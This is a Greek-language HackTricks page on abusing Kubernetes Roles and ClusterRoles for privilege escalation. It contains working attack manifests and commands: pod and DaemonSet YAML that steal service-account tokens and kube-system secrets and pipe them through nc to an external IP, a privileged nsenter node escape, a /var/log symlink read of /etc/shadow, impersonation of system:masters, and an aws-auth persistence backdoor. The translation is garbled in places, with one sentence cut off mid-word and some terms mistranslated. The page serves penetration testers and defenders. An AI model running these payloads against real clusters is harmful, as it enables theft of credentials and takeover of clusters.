Abusing Roles/ClusterRoles in Kubernetes

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Εδώ μπορείτε να βρείτε ορισμένες πιθανώς επικίνδυνες ρυθμίσεις Ρόλων και ClusterRoles. Θυμηθείτε ότι μπορείτε να πάρετε όλους τους υποστηριζόμενους πόρους με την εντολή kubectl api-resources

Ανέβασμα Προνομίων

Αναφέροντας την τέχνη της απόκτησης πρόσβασης σε έναν διαφορετικό χρήστη εντός του cluster με διαφορετικά προνόμια (εντός του καταυλισμού Kubernetes ή προς εξωτερικά cloud) από αυτά που ήδη έχετε, στο Kubernetes υπάρχουν βασικά 4 κύριες τεχνικές για την ανέβαση προνομίων:

  • Να είστε σε θέση να προσομοιώσετε άλλον χρήστη/ομάδα/SA με καλύτερα προνόμια εντός του καταυλισμού Kubernetes ή προς εξωτερικά cloud

  • Να είστε σε θέση να δημιουργήσετε/τροποποιήσετε/εκτελέσετε pods όπου μπορείτε να βρείτε ή να συνδεθείτε με SAs με καλύτερα προνόμια εντός του καταυλισμού Kubernetes ή προς εξωτερικά cloud

  • Να είστε σε θέση να διαβάσετε μυστικά καθώς τα tokens των SAs αποθηκεύονται ως μυστικά

  • Να είστε σε θέση να δραπετεύσετε στον κόμβο από ένα container, όπου μπορείτε να κλέψετε όλα τα μυστικά των containers που εκτελούνται στον κόμβο, τα διαπιστευτήρια του κόμβου και τα δικαιώματα του κόμβου εντός του cloud στο οποίο εκτελείται (εάν υπάρχει)

  • Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η δυνατότητα να εκτελέσετε port-forward σε ένα pod, καθώς μπορείτε να έχετε πρόσβαση σε ενδιαφέροντες πόρους εντός αυτού του pod.

Πρόσβαση σε Οποιονδήποτε Πόρο ή Ρήμα (Wildcard)

Το wildcard (*) δίνει άδεια πάνω σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα. Χρησιμοποιείται από τους διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος μπορεί να καταχραστεί οποιοδήποτε namespace στον καταυλισμό.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Πρόσβαση σε οποιοδήποτε πόρο με ένα συγκεκριμένο ρήμα

Στο RBAC, ορισμένες άδειες προκαλούν σημαντικούς κινδύνους:

  1. create: Παρέχει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου στο cluster, με κίνδυνο ανέλιξης προνομίων.

  2. list: Επιτρέπει τη λίσταριση όλων των πόρων, με δυνητική διαρροή ευαίσθητων δεδομένων.

  3. get: Επιτρέπει την πρόσβαση σε μυστικά από λογαριασμούς υπηρεσιών, δημιουργώντας απειλή για την ασφάλεια.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Δημιουργία Pod - Κλοπή Token

Ένας επιτιθέμενος με τα απαραίτητα δικαιώματα για τη δημιουργία ενός pod, μπορεί να συνδέσει ένα προνομιούχο Λογαριασμό Υπηρεσίας (Service Account) στο pod και να κλέψει το token για να προσωποποιήσει τον Λογαριασμό Υπηρεσίας. Με αυτόν τον τρόπο, επιτυγχάνεται η αύξηση των προνομίων του επιτιθέμενου.

Παράδειγμα ενός pod που θα κλέψει το token του λογαριασμού υπηρεσίας bootstrap-signer και θα το στείλει στον επιτιθέμενο:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Δημιουργία και διαφυγή Pod

Το παρακάτω δείχνει όλα τα προνόμια που μπορεί να έχει ένας container:

  • Προνομιούχος πρόσβαση (απενεργοποίηση προστασιών και ρύθμιση δυνατοτήτων)

  • Απενεργοποίηση των namespaces hostIPC και hostPid που μπορούν να βοηθήσουν στην ανέλιξη προνομίων

  • Απενεργοποίηση του namespace hostNetwork, παρέχοντας πρόσβαση για κλοπή προνομίων του cloud των κόμβων και καλύτερη πρόσβαση στα δίκτυα

  • Προσάρτηση του / του host μέσα στο container

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Δημιουργήστε το pod με:

kubectl --token $token create -f mount_root.yaml

Ένας συντομογραφημένος τρόπος για να εκτελέσετε εντολές σε ένα περιβάλλον Kubernetes είναι να χρησιμοποιήσετε την εντολή kubectl exec. Αυτή η εντολή σάς επιτρέπει να εκτελέσετε εντολές μέσα σε ένα ποδοσφαιρικό περιβάλλον, χωρίς να χρειάζεται να συνδεθείτε απευθείας στο περιβάλλον. Μπορείτε να χρησιμοποιήσετε αυτήν την εντολή για να εκτελέσετε εντολές σε έναν εικονικό υπολογιστή ή ένα περιβάλλον εφαρμογής που εκτελείται στο Kubernetes. Αυτό μπορεί να είναι χρήσιμο για να εκτελέσετε εντολές εντός ενός περιβάλλοντος που έχει περιορισμένη πρόσβαση ή για να εκτελέσετε εντολές εντός ενός περιβάλλοντος που είναι απομονωμένο από το εξωτερικό δίκτυο.

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Τώρα που μπορείτε να δραπετεύσετε στον κόμβο, ελέγξτε τεχνικές μετά την εκμετάλλευση στις παρακάτω σελίδες:

Αόρατος

Πιθανώς θέλετε να είστε πιο αόρατος, στις παρακάτω σελίδες μπορείτε να δείτε σε ποιες προνομιούχες προσβάσεις θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο μερικά από τα αναφερόμενα προνόμια στο προηγούμενο πρότυπο:

  • Προνομιούχο + hostPID

  • Μόνο προνομιούχο

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Μπορείτε να βρείτε παραδείγματα πώς να δημιουργήσετε/καταχραστείτε τις προηγούμενες προνομιούχες διαμορφώσεις των pods στο https://github.com/BishopFox/badPods

Δημιουργία Pod - Μετάβαση στο cloud

Αν μπορείτε να δημιουργήσετε ένα pod (και προαιρετικά ένα λογαριασμό υπηρεσίας), μπορείτε να αποκτήσετε προνόμια στο περιβάλλον του cloud αν αναθέσετε ρόλους cloud σε ένα pod ή ένα λογαριασμό υπηρεσίας και στη συνέχεια να έχετε πρόσβαση σε αυτόν. Επιπλέον, αν μπορείτε να δημιουργήσετε ένα pod με το namespace δικτύου του κόμβου, μπορείτε να κλέψετε τον ρόλο IAM της περίπτωσης του κόμβου.

Για περισσότερες πληροφορίες, ελέγξτε:

Pod Escape Privileges

Δημιουργία/Επιδιόρθωση Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs και Cronjobs

Είναι δυνατόν να καταχραστείτε αυτές τις άδειες για να δημιουργήσετε ένα νέο pod και να αποκτήσετε προνόμια όπως στο προηγούμενο παράδειγμα.

Το παρακάτω yaml δημιουργεί ένα daemonset και εξαγάγει το token του SA μέσα στο pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Εκτέλεση Pods

Το pods/exec είναι ένας πόρος στο Kubernetes που χρησιμοποιείται για εκτέλεση εντολών σε ένα κέλυφος μέσα σε ένα pod. Αυτό επιτρέπει την εκτέλεση εντολών μέσα στα containers ή την απόκτηση ενός κελύφους μέσα.

Επομένως, είναι δυνατόν να μπείτε μέσα σε ένα pod και να κλέψετε το token του SA, ή να εισέλθετε σε ένα προνομιούχο pod, να δραπετεύσετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και να (κατα)χρησιμοποιήσετε τον κόμβο:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Αυτή η άδεια επιτρέπει την προώθηση ενός τοπικού θύρας σε μια θύρα στο συγκεκριμένο pod. Αυτό έχει σκοπό να επιτρέψει την εύκολη αποσφαλμάτωση εφαρμογών που εκτελούνται μέσα σε ένα pod, αλλά ένας επιτιθέμενος μπορεί να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως βάσεις δεδομένων) ή ευάλωτες εφαρμογές (ιστού;) μέσα σε ένα pod:

kubectl port-forward pod/mypod 5000:5000

Απόδραση από τον φάκελο /var/log/ που είναι εγγράψιμος στον κεντρικό υπολογιστή

Όπως υποδεικνύεται σε αυτή την έρευνα, αν έχετε πρόσβαση ή μπορείτε να δημιουργήσετε ένα pod με τον φάκελο /var/log/ του κεντρικού υπολογιστή προσαρτημένο σε αυτό, μπορείτε να αποδράσετε από το container. Αυτό συμβαίνει κατά βάση επειδή όταν η Kube-API προσπαθεί να λάβει τα αρχεία καταγραφής ενός container (χρησιμοποιώντας kubectl logs <pod>), ζητά το αρχείο 0.log του pod χρησιμοποιώντας το endpoint /logs/ της υπηρεσίας Kubelet. Η υπηρεσία Kubelet αποκαλύπτει το endpoint /logs/ το οποίο απλά αποκαλύπτει το σύστημα αρχείων /var/log του container.

Έτσι, ένας επιτιθέμενος με πρόσβαση για εγγραφή στον φάκελο /var/log/ του container μπορεί να καταχραστεί αυτήν τη συμπεριφορά με δύο τρόπους:

  • Τροποποιώντας το αρχείο 0.log του container του (συνήθως βρίσκεται στη διαδρομή /var/logs/pods/namespace_pod_uid/container/0.log) ώστε να είναι ένας σύνδεσμος που δείχνει στο /etc/shadow για παράδειγμα. Έπειτα, θα μπορείτε να αποκτήσετε πρόσβαση στο αρχείο shadow του κεντρικού υπολογιστή κάνοντας:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Εάν ο επιτιθέμενος έχει έλεγχο σε οποιοδήποτε κύριο με τα δικαιώματα για ανάγνωση του nodes/log, μπορεί απλά να δημιουργήσει ένα σύμβολικό σύνδεσμο στο /host-mounted/var/log/sym προς το / και όταν έχει πρόσβαση στο https://<gateway>:10250/logs/sym/ θα εμφανίζει το αρχείοσύστημα της ρίζας των κεντρικών υπολογιστών (η αλλαγή του συμβολικού συνδέσμου μπορεί να παρέχει πρόσβαση σε αρχεία).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Ένα εργαστήριο και ένα αυτοματοποιημένο exploit μπορούν να βρεθούν στο https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Παράκαμψη της προστασίας readOnly

Εάν έχετε την τύχη και η υψηλή προνομιούχα δυνατότητα CAP_SYS_ADMIN είναι διαθέσιμη, μπορείτε απλά να αναρριχηθείτε ξανά στον φάκελο ως rw:

mount -o rw,remount /hostlogs/

Παράκαμψη προστασίας readOnly του hostPath

Όπως αναφέρεται σε αυτή την έρευνα, είναι δυνατόν να παρακαμφθεί η προστασία:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Αυτό ήταν σχεδιασμένο για να αποτρέψει αποδράσεις όπως οι προηγούμενες, αντί να χρησιμοποιεί ένα hostPath mount, χρησιμοποιεί ένα PersistentVolume και ένα PersistentVolumeClaim για να προσαρτήσει έναν φάκελο του κεντρικού υπολογιστή στον εκτελέσιμο χώρο του container με εγγράψιμη πρόσβαση:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Προσομοίωση προνομιούχων λογαριασμών

Με την προνομιούχα ικανότητα προσομοίωσης χρήστη, ένας επιτιθέμενος μπορεί να προσομοιώσει ένα προνομιούχο λογαριασμό.

Απλά χρησιμοποιήστε την παράμετρο --as=<όνομα_χρήστη> στην εντολή kubectl για να προσομοιώσετε έναν χρήστη, ή --as-group=<ομάδα> για να προσομοιώσετε μια ομάδα:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ή χρησιμοποιήστε το REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Λίστα μυστικών

Η άδεια να λίστα μυστικών μπορεί να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα μυστικά προσπελαύνοντας το σημείο τερματισμού REST API:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Ανάγνωση ενός μυστικού - βίαιη εύρεση ταυτότητας διακριτικού

Ενώ ένας επιτιθέμενος που διαθέτει ένα διακριτικό με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, αντίθετα με το πιο γενικό προνόμιο λίστα μυστικών, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να απαριθμηθούν, καθένας συσχετισμένος με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από ένα τυχαίο πενταψήφιο αλφαριθμητικό διακριτικό (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον πηγαίο κώδικα.

Το διακριτικό δημιουργείται από έναν περιορισμένο σύνολο 27 χαρακτήρων (bcdfghjklmnpqrstvwxz2456789), αντί για την πλήρη αλφαριθμητική περιοχή. Αυτός ο περιορισμός μειώνει τον συνολικό αριθμό δυνατών συνδυασμών σε 14.348.907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε εύκολα να εκτελέσει μια επίθεση βίαιης εύρεσης για να ανακαλύψει το διακριτικό μέσα σε λίγες ώρες, με πιθανή αποκάλυψη προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας.

Αιτήσεις Πιστοποίησης Υπογραφής

Εάν έχετε τα ρήματα create στο αντικείμενο πόρου certificatesigningrequests (ή τουλάχιστον στο certificatesigningrequests/nodeClient). Μπορείτε να δημιουργήσετε μια νέα αίτηση πιστοποίησης για έναν νέο κόμβο.

Σύμφωνα με την τεκμηρίωση, είναι δυνατή η αυτόματη έγκριση αυτών των αιτήσεων, οπότε σε αυτήν την περίπτωση δεν χρειάζεστε επιπλέον δικαιώματα. Αν όχι, θα χρειαστεί να είστε σε θέση να εγκρίνετε την αίτηση, πράγμα που σημαίνει ενημέρωση στο certificatesigningrequests/approval και approve στο signers με resourceName <signerNameDomain>/<signerNamePath> ή <signerNameDomain>/*

Ένα παράδειγμα ρόλου με όλα τα απαιτούμενα δικαιώματα είναι:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Έτσι, με τον νέο CSR του κόμβου που εγκρίθηκε, μπορείτε να καταχραστείτε τα ειδικά δικαιώματα των κόμβων για να κλέψετε μυστικά και να αναβαθμίσετε δικαιώματα.

Σε αυτήν την ανάρτηση και αυτήν η διαμόρφωση GKE K8s TLS Bootstrap είναι ρυθμισμένη με αυτόματη υπογραφή και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να καταχραστεί αυτά για να αναβαθμίσει δικαιώματα κλέβοντας μυστικά. Αν έχετε τα αναφερόμενα δικαιώματα, μπορείτε να κάνετε το ίδιο πράγμα. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει ένα νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε εμπορεύματα επειδή ένας κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των εμπορευμάτων που έχουν τοποθετηθεί πάνω του.

Ο τρόπος να παρακάμψετε αυτό είναι απλά να δημιουργήσετε διαπιστευτήρια κόμβου για το όνομα του κόμβου όπου έχει τοποθετηθεί το εμπόρευμα με τα ενδιαφέροντα μυστικά (αλλά ελέγξτε πώς να το κάνετε στην πρώτη ανάρτηση):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Οι αρχές που μπορούν να τροποποιήσουν τα configmaps στο namespace kube-system στα EKS (χρειάζεται να είναι στο AWS) clusters μπορούν να αποκτήσουν δικαιώματα διαχειριστή του cluster αν αντικαταστήσουν το configmap aws-auth. Οι ρήματα που χρειάζονται είναι update και patch, ή create αν το configmap δεν έχει δημιουργηθεί:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Μπορείτε να χρησιμοποιήσετε το aws-auth για επιμονή δίνοντας πρόσβαση σε χρήστες από άλλους λογαριασμούς.

Ωστόσο, το aws --profile other_account eks update-kubeconfig --name <cluster-name> δεν λειτουργεί από διαφορετικό λογαριασμό. Αλλά στην πραγματικότητα, το aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing λειτουργεί αν βάλετε το ARN του cluster αντί για απλά το όνομα. Για να λειτουργήσει το kubectl, απλά βεβαιωθείτε ότι έχετε διαμορφώσει το kubeconfig του θύματος και στα aws exec args προσθέστε --profile other_account_role ώστε το kubectl να χρησιμοποιεί το προφίλ του άλλου λογαριασμού για να λάβει το token και να επικοινωνήσει με το AWS.

Ανέβασμα στο GKE

Υπάρχουν 2 τρόποι για να αναθέσετε δικαιώματα K8s σε GCP αρχές. Σε κάθε περίπτωση, η αρχή χρειάζεται επίσης την άδεια container.clusters.get για να μπορεί να συλλέξει διαπιστευτήρια για πρόσβαση στο cluster, αλλιώς θα χρειαστεί να δημιουργήσετε το δικό σας αρχείο διαμόρφωσης kubectl (ακολουθήστε τον επόμενο σύνδεσμο).

Όταν μιλάμε με το σημείο εισόδου του K8s api, το GCP auth token θα αποσταλεί. Στη συνέχεια, το GCP, μέσω του σημείου εισόδου του K8s api, θα ελέγξει πρώτα αν η αρχή (με το email) έχει κάποια πρόσβαση μέσα στο cluster, και στη συνέχεια θα ελέγξει αν έχει κάποια πρόσβαση μέσω του GCP IAM. Αν οποιοδήποτε από αυτά είναι αληθές, θα απαντηθεί. Αν όχι, θα δοθεί ένα σφάλμα που υποδεικνύει να δοθούν δικαιώματα μέσω του GCP IAM.

Στη συνέχεια, ο πρώτος τρόπος είναι η χρήση του GCP IAM, οι δικαιώματα K8s έχουν τις αντίστοιχες δικαιώματα GCP IAM, και αν η αρχή τα έχει, θα μπορεί να τα χρησιμοποιήσει.

GCP - Container Privesc

Ο δεύτερος τρόπος είναι η ανάθεση δικαιωμάτων K8s μέσα στο cluster αναγνωρίζοντας τον χρήστη με το email του (συμπεριλαμβανομένων των λογαριασμών υπηρεσίας GCP).

Δημιουργία των διακριτικών των serviceaccounts

Οι αρχές που μπορούν να δημιουργήσουν TokenRequests (serviceaccounts/token) Όταν μιλάμε με το σημείο εισόδου του K8s api, οι SAs (πληροφορίες από εδώ).

ephemeralcontainers

Οι αρχές που μπορούν να ενημερώσουν ή τροποποιήσουν pods/ephemeralcontainers μπορούν να αποκτήσουν εκτέλεση κώδικα σε άλλα pods, και πιθανώς να αποδράσουν στον κόμβο τους προσθέτοντας ένα ephemeral container με ένα προνομιούχο securityContext

ValidatingWebhookConfigurations ή MutatingWebhookConfigurations

Οι αρχές με οποιοδήποτε από τα ρήματα create, update ή patch πάνω σε validatingwebhookconfigurations ή mutatingwebhookconfigurations μπορεί να δημιουργήσει ένα από αυτά τα webhookconfigurations για να μπορεί να αναβαθμίσει τα δικαιώματα.

Για ένα παράδειγμα mutatingwebhookconfigurations δείτε αυτήν την ενότητα του άρθρου.

Ανέβασμα

Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: Ενσωματωμένη Πρόληψη Προνομιούχου Ανέβασματος, μια αρχή δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει αυτά τα νέα δικαιώματα. Εκτός αν έχει το ρήμα escalate πάνω σε roles ή clusterroles. Τότε μπορεί να ενημερώσει/δημιουργήσει νέους ρόλους, clusterroles με καλύτερα δικαιώματα από αυτά που έχει.

Κόμβοι proxy

Οι αρχές με πρόσβαση στο nodes/proxy subresource μπορούν να εκτελέσουν κώδικα σε pods μέσω του Kubelet API (σύμφωνα με αυτό). Περισσότερες πληροφορίες σχετικά με την πιστοποίηση του Kubelet σε αυτήν τη σελίδα:

Kubelet Authentication & Authorization

Έχετε ένα παράδειγμα πώς να πάρετε RCE μιλώντας εξουσιοδοτημένα σε ένα Kubelet API εδώ.

Διαγραφή pods + ανενεργοποιημένοι κόμβοι

Οι αρχές που μπορούν να διαγράψουν pods (delete ρήμα πάνω στο α

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Κατάσταση υπηρεσιών (CVE-2020-8554)

Οι αρχές που μπορούν να τροποποιήσουν το services/status μπορούν να ορίσουν το πεδίο status.loadBalancer.ingress.ip για να εκμεταλλευτούν το μη επιδιορθωμένο CVE-2020-8554 και να εκτελέσουν επιθέσεις MiTM κατά του cluster. Οι περισσότερες αντιμετωπίσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με αυτό).

Κατάσταση κόμβων και pods

Οι αρχές με δικαιώματα update ή patch στο nodes/status ή pods/status, μπορούν να τροποποιήσουν ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται.

Ενσωματωμένη πρόληψη προνομιούχου ανέλιξης

Το Kubernetes έχει ένα ενσωματωμένο μηχανισμό για την πρόληψη της προνομιούχου ανέλιξης.

Αυτό το σύστημα εξασφαλίζει ότι οι χρήστες δεν μπορούν να αυξήσουν τα προνόμιά τους τροποποιώντας ρόλους ή δεσμεύσεις ρόλων. Η επιβολή αυτού του κανόνα γίνεται στο επίπεδο του API, παρέχοντας ένα μέσο προστασίας ακόμα και όταν ο αρθρωτής RBAC είναι ανενεργός.

Ο κανόνας ορίζει ότι ένας χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο αν διαθέτει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος. Επιπλέον, το εύρος των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να συμφωνεί με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε για ολόκληρο το cluster για τους ClusterRoles είτε περιορισμένο στο ίδιο namespace (ή για ολόκληρο το cluster) για τους Roles.

Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Αν μια αρχή έχει το ρήμα escalate πάνω σε roles ή clusterroles μπορεί να αυξήσει τα προνόμια των ρόλων και των clusterroles ακόμα και χωρίς να έχει τα δικαιώματα ο ίδιος.

Λήψη & Τροποποίηση RoleBindings/ClusterRoleBindings

Προφανώς αυτή η τεχνική δούλευε πριν, αλλά σύμφωνα με τις δοκιμές μου δεν δουλεύει πια για τον ίδιο λόγο που εξηγήθηκε στην προηγούμενη ενότητα. Δεν μπορείς να δημιουργήσεις/τροποποιήσεις ένα rolebinding για να δώσεις στον εαυτό σου ή σε ένα διαφορετικό SA κάποια δικαιώματα αν δεν τα έχεις ήδη.

Το προνόμιο να δημιουργείς Rolebindings επιτρέπει σε έναν χρήστη να δένει ρόλους σε έναν λογαριασμό υπηρεσίας. Αυτό το προνόμιο μπορεί να οδηγήσει σε προνομιούχα ανέλιξη επειδή επιτρέπει στον χρήστη να δένει προνόμια διαχειριστή σε έναν παραβιασμένο λογαριασμό υπηρεσίας.

Άλλες Επιθέσεις

Εφαρμογή πλευρικού προξενούς

Από προεπιλογή δεν υπάρχει κρυπτογράφηση στην επικοινωνία μεταξύ των pods. Αμοιβαία πιστοποίηση, διπλής κατεύθυνσης, από pod σε pod.

Δημιουργία μιας εφαρμογής πλευρικού προξενούς

Δημιουργήστε το .yaml σας

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Επεξεργαστείτε το αρχείο .yaml σας και προσθέστε τις γραμμές που έχουν σχόλια:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Δείτε τα logs του proxy:

kubectl logs app -C proxy

Περισσότερες πληροφορίες στο: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Κακόβουλος Ελεγκτής Αδειοδότησης

Ένας ελεγκτής αδειοδότησης παρεμβαίνει στα αιτήματα προς τον διακομιστή API του Kubernetes πριν από την αποθήκευση του αντικειμένου, αλλά μετά την αυθεντικοποίηση και την εξουσιοδότηση του αιτήματος.

